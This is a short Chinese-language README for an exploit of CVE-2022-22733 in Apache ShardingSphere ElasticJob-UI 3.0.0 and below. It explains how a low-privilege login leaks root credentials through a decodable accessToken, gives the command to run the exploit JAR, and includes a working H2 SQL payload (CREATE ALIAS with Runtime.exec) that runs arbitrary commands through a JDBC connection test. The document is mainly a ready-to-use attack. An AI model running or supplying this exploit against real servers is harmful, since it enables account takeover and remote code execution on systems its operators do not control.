CVE-2022-22733

CVE-2022-22733 是一个影响 Apache ShardingSphere ElasticJob-UI 3.0.0 及以下版本的漏洞，该漏洞会导致权限提升。但是，通过滥用提升后的权限，可以执行 JDBC 攻击并实现远程代码执行（RCE）。你可以从此处阅读漏洞分析，并从此处逐步阅读漏洞利用编写博客。

该漏洞利用的工作原理如下：

• 使用低权限账户登录。
• 获取未安全生成的 accessToken。
• 解码未安全生成的 accessToken。
• 从 accessToken 中解析解码后的数据。
• 从解析的数据中检索 root 账户凭据。
• 使用 root 账户凭据登录，获得应用程序的完全权限。
• 发送连接测试请求，滥用 JDBC 攻击。

Usage

你可以从此处下载 JAR 文件，源代码在此处。

• 执行 jar：

java -jar CVE-2022-22733.jar

• SQL 脚本代码：

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('your_command_here')

Demo